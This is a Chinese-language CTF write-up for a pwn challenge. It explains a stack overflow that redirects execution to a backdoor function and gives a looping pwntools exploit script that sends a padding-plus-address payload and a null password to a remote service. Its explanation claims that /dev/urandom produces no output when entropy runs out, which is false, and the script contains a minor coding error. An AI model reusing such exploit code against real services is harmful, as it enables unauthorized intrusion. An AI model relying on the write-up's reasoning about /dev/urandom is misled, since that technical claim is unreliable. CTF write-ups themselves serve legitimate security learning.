题解
在向buf输入数据时存在栈溢出,刚好覆盖返回地址,同时这个程序存在后门函数
可以控制程序执行后门函数
但是它还要对第二次输入的数据进行判断,是否与password相等,不相等就直接退出了,就算修改了返回地址也不会执行
password是从/dev/urandom中读取的数据
但这个/dev/urandom文件是有一个问题
所以当熵池中还不存在任何熵的时候,它就没有输出了
所以只要大量读取数据,它就是没有输出,那password就是初始值了,即0
EXP
from pwn import *
context.arch='amd64'
while(1):
p=remote('x',0)
payload=b'a'*40+p64(0x4012F3)
p.recvuntil('please enter user name:\n')
p.send(payload)
p.recvuntil('please enter password:\n')
p.sendline(b'\x00')
result=p.recvline()
if b'Wrong password!' in result:
p.close
else :
break
p.interactive()
程序运行可以要一会
结语
(本人是菜鸟,想找对CTF感兴趣的CTFer,一起交流学习,共同进步,迈向星辰大海!!!!^_^(有兴趣的加扣群:470196890))